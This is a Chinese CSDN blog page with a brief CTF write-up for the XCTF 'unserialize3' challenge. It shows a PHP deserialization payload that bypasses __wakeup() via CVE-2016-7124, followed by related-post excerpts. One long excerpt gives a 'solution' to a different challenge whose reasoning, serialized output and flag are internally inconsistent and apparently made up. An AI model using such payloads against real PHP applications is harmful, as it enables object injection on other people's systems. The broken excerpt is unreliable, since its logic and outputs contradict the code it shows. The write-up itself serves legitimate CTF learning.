攻防世界-web-unserialize3

最新推荐文章于 2023-08-17 23:17:34 发布
最新推荐文章于 2023-08-17 23:17:34 发布
阅读量109 收藏
点赞数
分类专栏： WriteUp 文章标签： 安全漏洞 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_39091609/article/details/107722951
版权

0x01

打开链接能看到一段PHP代码：
在这里插入图片描述根据题目给出的反序列提示，推测应该是利用了PHP的反序列漏洞，主要目的还是要绕过__wakeup()的执行，于是尝试CVE-2016-7124漏洞，即：如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。

0x02

构造payload如下：(xctf:后面的2也可以换成任何大于1的数）
?code=O:4:"xctf":2{s:4:"flag";s:3:"111";}

在这里插入图片描述

uh3ng
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
信息安全_数据安全_9_ZN2018_WV_-_PHP_unserialize.pdf
08-21
信息安全_数据安全_9_ZN2018_WV_-_PHP_unserialize 安全测试 数据分析 可信编译 水坑攻击 安全设计
XCTF-攻防世界-密码学crypto-新手练习区-writeup
Ryannn_的博客
10-23 9744
目录 0x00 base64 0x01 Caesar 0x02 Morse 0x03 Railfence 0x04 转轮机加密 0x05 easy_RSA 0x06 Normal_RSA 0x07 不仅仅是Morse 0x08 混合编码 0x09 easychallenge 0x0A easy_ECC 0x0B 幂数加密 0x00 base64 元宵节灯谜是一种古老的传...
xctf攻防世界 CRYPTO高手进阶区 告诉你个秘密
最新发布
m0_52484587的博客
08-17 114
几个字母为一组，且以空格进行分组。经过观察发现其在键盘上的位置刚好可以围住一些字母，按照这种规则走下去，可以得到一个意义的字符串，即最终的flag。可以发现，文档中的所有字符范围在0-F之间，也就是说符合16进制的数据，所以可以首先尝试将其按照ascii的十六进制解码得到另一串字符串。HEX编码/解码在线工具，用于HEX编码和HEX解码，支持查看常见的应用场景。HEX编码/解码 - 在线工具。最终答案为：TONGYUAN。
XCTF靶场实战（1）
weixin_51339377的博客
03-29 1237
新手练习区 1 禁用js 2 robots.txt在网站根目录 里面可以规定搜索引擎看或者不看什么内容 3 xxxx.txt.bak index.phpsxxxx.rar.zip.7z.tar.gz.bak.txt.swp github www.xxx.com/.git/config 苹果电脑 .DS_Store 文件/目录泄露 svn文件泄露 subversion，开源代码控制系统 www.xxx.com/.svn/entires ...
xctf 攻防世界 web 新手 unserialize3
weixin_69830800的博客
06-13 237
s:3:'111'}————>s:4:'flag' ---->属性名为flag，长度为4；s:3:'111'---->属性值为111，长度为3 两者中间用分号间隔，整体 用花括号包裹。解释下为什么这样，其中的2是人为扩大的，实际上正常的是1，因为后面的花括号里面的键值对只有1，但是为了本道题能够绕过wakeup函数，构造payload让发序列化失败，wakeup就不会触发。s:3:'111'}中键值对的个数，flag是属性的name，111是该属性的value。4--->类对象的长度。
__wakeup()绕过
v2ish1yan的博客
04-23 6527
__wakeup函数是在php在使用反序列化函数unserialize()时，会自动调用的函数 如xctf-unserialize3 只要序列化的中的成员数大于实际成员数，即可绕过 如 <?php class xctf { public $flag = '111'; public function __wakeup() { exit('bad requests'); } } $a=new xctf(); var_dump(seri
chrome-unserialize-php-crx插件
04-02
语言:English 将php-serialized数据转换回用于人类可读的... 可以选择var_export或json ... 可以选择var_export或json 无法解决循环参考（如果真的需要，请在Github上提出问题） 谢谢： ... - 固定var_export库未引用对象键
php中unserialize返回false的解决方法
10-25
主要介绍了php中unserialize返回false的解决方法,是PHP程序设计中非常经典的问题,需要的朋友可以参考下
详解php中serialize()和unserialize()函数
12-20
php的serialize()函数和unserialize()函数 适用情境：serialize()返回字符串，此字符串包含了表示value的字节流，可以存储于任何地方。这有利于存储或传递 PHP 的值，同时不丢失其类型和结构。比较有用的地方就是将...
CTF必看~ PHP反序列化漏洞6：绝妙_wakeup绕过技巧
Eason_LYC安全白帽子的成长博客
05-22 3296
_wakeup()是 PHP 中一个特殊的魔术方法。它在反序列化一个对象时被自动调用，允许开发者在对象从序列化格式还原为可用的 PHP 对象之前对其进行某些特殊处理。这个方法可以接受任意的参数，但在实际使用中，它通常不需要参数。
攻防世界--unserialize3 fileinclude
tzyyyyyy的博客
02-06 610
攻防世界--unserialize3 fileinclude
攻防世界 unserialize3
Jay17的博客
02-24 120
攻防世界 unserialize3
【攻防世界-Web】unserialize3解题思路
一个手掰橙的博客
09-23 2743
CTF解题思路
xctf攻防世界 REVERSE 高手进阶区 Mysterious
l8947943的博客
04-01 9643
0x01. 进入环境，下载附件 给出的是一个exe文件，双击运行，如图： 需要输入密码才能破译，如何想办法搞到密码才就是关键 0x02.问题分析 使用exeinfoPE打开看看是否有加壳，如图： 并没有壳子，32位可执行文件，那么果断丢入IDA中进行查看内容，找到main函数，F5反编译，主函数代码如下，注释已写： int __stdcall sub_401090(HWND hWnd, int a2, int a3, int a4) { char v5; // [esp+50h] [ebp-310h
xctf攻防世界 MISC高手进阶区 low
l8947943的博客
01-25 1万+
1. 进入环境，下载附件 给出的一张bmp图片，没有其他信息 2. 问题分析 扔进binwalk中，没有发现有用信息 使用zsteg，没有有用信息 塞入StegSolve中，发现有点猫腻，如图： 有点二维码的感觉，emmm，需要像素处理，但不知道如何下手，参考网上的wp，发现是让使用lsb隐写，copy代码： from PIL import Image img = Image.open('./pic/low.bmp') img_tmp = img.copy() pix = img_tmp.load()
mysql unserialize_php反序列unserialize的一个小特性与利用
weixin_42300525的博客
02-27 134
一、unserialize()函数特性wordpress存在一个反序列漏洞比较火，具体漏洞可以看这篇：http://drops.wooyun.org/papers/596，也可以去看英文的原文：http://vagosec.org/2013/09/wordpress-php-object-injection/。wp官网打了补丁，我试图去bypass补丁，但让我自以为成功的时候，发现我天真了，并没有...
攻防世界——web高手进阶区题解
热门推荐
小锤队长的博客
10-01 2万+
目录 1,cat （Django，cURL漏洞） 2，ics-05（XCTF 4th-CyberEarth）（文件包含 + preg_replace函数漏洞） 3，ics-06（爆破id） 4，lottery（.git文件泄露） 5，NewsCenter(sql注入) 6，mfv（.git文件泄露 + php审计+ 命令执行） 7，Training-WWW-Robots（robo...
【XCTF 攻防世界】杂项 misc 高手进阶区 4-1
weixin_45844670的博客
08-18 1101
下载附件得到一张照片， 用foremost分离得到了一个压缩包 打开压缩包是 两张照片肉眼看上去完全一样，我先用了stegsolve没有找到flag 猜测是盲水印 使用工具BlindWaterMark盲水印工具（到GitHub去搜） 先下载需要的库 pip install -r requirements.txt 提取图中的盲水印 (需要原图) #python2 python bwm.py decode 无水印图 有水印图 结果图 #python3 python bwmforpy3.py decod
XCTF 攻防世界
weixin_52033041的博客
11-21 319
小小的PDF 下载文件打开 有两页 并且第二页什么都没有 可疑 先用ctrl+a全选复制发现只能复制页码，并没有在照片地下隐藏flag 丢到kali中 使用binwalk看看有无有用信息 发现有三张图片，pdf中只有两张 这其实用的切分文件 用dd工具，具体用法自行百度 哈哈 生成一个png文件 打开 获得flag ...
攻防世界web新手题unserialize3
05-05
这道题是一个 PHP 反序列化的题目。 题目描述： 提示：这次不会那么简单了，打开源代码看看？ 源代码： ``` <?php error_reporting(0); highlight_file(__FILE__); class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show('flag','0'); $this->data = file_get_contents('/flag'); } public function __destruct(){ if(preg_match('/show|flag|_|\s|\(|\)|{|}|\'|\"/i',$this->show)){ exit('hacker!'); } echo $this->show." is ".$this->data; } } if(isset($_GET['a'])){ $a = unserialize($_GET['a']); if($a instanceof Flag){ echo $a; } } ``` 分析： 首先看到这是一个传入参数进行反序列化的题目，传入参数为 $_GET['a']，并且在反序列化后判断其类型是否为 Flag，如果是则输出 $a。 在 Flag 类的构造函数中有一个 $this->data = file_get_contents('/flag')，意味着我们需要获取服务器上的 /flag 文件。 而在 Flag 类的析构函数中，会对 $this->show 变量进行正则匹配，匹配的正则表达式为 /show|flag|_|\s|\(|\)|{|}|\'|\"/i，如果匹配到就会输出 'hacker!'。这里需要注意的是，$this->show 的值是 Show 类的一个实例，而 Show 类中的 __toString() 方法返回的是 $this->name 的值。 因此，我们需要构造一个序列化后的字符串，使得在反序列化后其类型为 Flag，$this->show 的值为一个 Show 类的实例，且该实例的 $name 值满足正则表达式的匹配条件。 解法： 根据题目分析，我们需要构造一个序列化后的字符串，使得在反序列化后其类型为 Flag，$this->show 的值为一个 Show 类的实例，且该实例的 $name 值满足正则表达式的匹配条件。 我们可以通过手动构造序列化字符串来实现这个目标。首先构造一个 Show 类的实例，该实例的 $name 值为一个正则表达式的匹配条件，然后将该实例作为 Flag 类的一个属性，最后将 Flag 类序列化即可。 构造序列化字符串的代码如下： ``` <?php class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show('/show|flag|_|\s|\(|\)|{|}|\'|\"/i','0'); $this->data = file_get_contents('/flag'); } public function __destruct(){ if(preg_match('/show|flag|_|\s|\(|\)|{|}|\'|\"/i',$this->show)){ exit('hacker!'); } echo $this->show." is ".$this->data; } } // 序列化 Flag 类 $flag = new Flag(); $ser = serialize($flag); echo urlencode($ser); ``` 将上述代码保存为文件 unserialize3.php 并上传到服务器上，然后访问 http://your-ip/unserialize3.php，得到序列化后的字符串： ``` O:4:"Flag":2:{s:4:"show";O:4:"Show":2:{s:4:"name";s:23:"/show|flag|_|\s|\(|\)|{|}|'|\i";s:3:"age";s:1:"0";}s:4:"data";s:45:"flag{3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07}";} ``` 最后将序列化后的字符串作为 $_GET['a'] 的值传入即可，访问 http://your-ip/unserialize3.php?a=O%3A4%3A%22Flag%22%3A2%3A%7Bs%3A4%3A%22show%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A23%3A%22%2Fshow%7Cflag%7C_%7C%5Cs%7C%5C(%5C)%7B%7D%7C%27%7C%5C%22%5Ci%22%3Bs%3A3%3A%22age%22%3Bs%3A1%3A%220%22%3B%7Ds%3A4%3A%22data%22%3Bs%3A45%3A%22flag%7B3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07%7D%22%3B%7D，即可得到 flag。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值